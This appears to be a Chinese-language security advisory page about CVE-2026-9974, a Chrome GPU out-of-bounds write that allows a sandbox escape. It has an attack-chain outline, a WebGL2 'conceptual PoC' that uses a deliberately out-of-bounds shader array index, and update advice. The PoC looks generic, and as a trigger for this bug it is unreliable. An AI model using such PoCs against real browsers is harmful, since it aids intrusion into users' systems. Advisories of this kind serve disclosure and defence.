IPBUF安全漏洞报告
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CVE-2026-9974 CVSS 8.3 高危

CVE-2026-9974 Chrome GPU越界写沙箱逃逸

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9974
漏洞类型
越界写
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

越界写沙箱逃逸Google ChromeGPU远程代码执行

漏洞概述

CVE-2026-9974是Google Chrome浏览器GPU组件中发现的一个高危安全漏洞。该漏洞由于GPU处理过程中存在越界写入错误而引发。在148.0.7778.216版本之前的Chrome中,攻击者若已攻陷渲染器进程,可通过诱导用户访问特制的HTML页面来触发此漏洞。成功利用后,攻击者能够利用该漏洞执行沙箱逃逸,从而突破浏览器的安全隔离机制,获取更高的系统权限。

技术细节

该漏洞的核心原理在于Google Chrome的GPU进程未能正确验证内存写入操作的范围,导致发生越界写。Chrome采用多进程架构,渲染器进程用于解析网页内容,而GPU进程负责图形渲染。通常情况下,渲染器进程被严格限制在沙箱内。攻击者首先需要通过其他漏洞获得渲染器进程的代码执行权限。随后,攻击者构造恶意WebGL指令或Canvas绘制操作,通过IPC通信发送至GPU进程。由于存在边界检查缺失,特制的图形数据会导致GPU进程在内存布局之外写入数据。攻击者可利用这一点覆盖关键对象或函数指针,从而在权限较高的GPU进程中执行任意代码,最终实现沙箱逃逸,完全控制受害者系统。

攻击链分析

STEP 1
步骤1:初始入侵
攻击者首先利用渲染器进程中的其他漏洞(如RCE)获得该进程的执行权限。
STEP 2
步骤2:构造载荷
攻击者在受控的渲染器进程中编写恶意的HTML和JavaScript代码,包含特殊的WebGL指令或Canvas操作。
STEP 3
步骤3:触发漏洞
通过页面加载或用户交互,恶意指令被发送至GPU进程,触发GPU组件中的越界写入错误。
STEP 4
步骤4:沙箱逃逸
利用越界写破坏GPU进程内存,在GPU进程中执行Shellcode,从而跳出沙箱限制,获取系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-9974 (GPU Out of Bounds Write) * This script attempts to trigger the vulnerability via WebGL. * Note: Actual exploitation requires specific memory layout control. */ function triggerVuln() { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl2'); if (!gl) { console.log('[!] WebGL2 not supported'); return; } // Malicious vertex shader source designed to confuse GPU compiler const vsSource = ` #version 300 es layout(location=0) in vec4 position; void main() { // Attempt to trigger OOB access via loop unrolling or array indexing float arr[10]; for(int i=0; i<20; i++) { // Intentional OOB index arr[i] = float(i); } gl_Position = position; } `; const fsSource = ` #version 300 es precision highp float; out vec4 fragColor; void main() { fragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; function createShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.log('[!] Shader compile error:', gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource); const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { console.log('[!] Program link error:', gl.getProgramInfoLog(program)); return; } gl.useProgram(program); // Setup buffer with potentially malicious size const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0,0,0,0, 1,1,1,1]), gl.STATIC_DRAW); const positionLoc = gl.getAttribLocation(program, 'position'); gl.enableVertexAttribArray(positionLoc); gl.vertexAttribPointer(positionLoc, 4, gl.FLOAT, false, 0, 0); // Trigger draw call to execute vulnerable shader code in GPU process console.log('[*] Triggering GPU draw call...'); gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4); } triggerVuln();

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并更新Google Chrome浏览器至最新版本。在无法立即更新的情况下,应避免访问来源不明的网页,并考虑禁用浏览器的硬件加速功能作为临时缓解手段,但这可能会影响浏览性能。

参考链接

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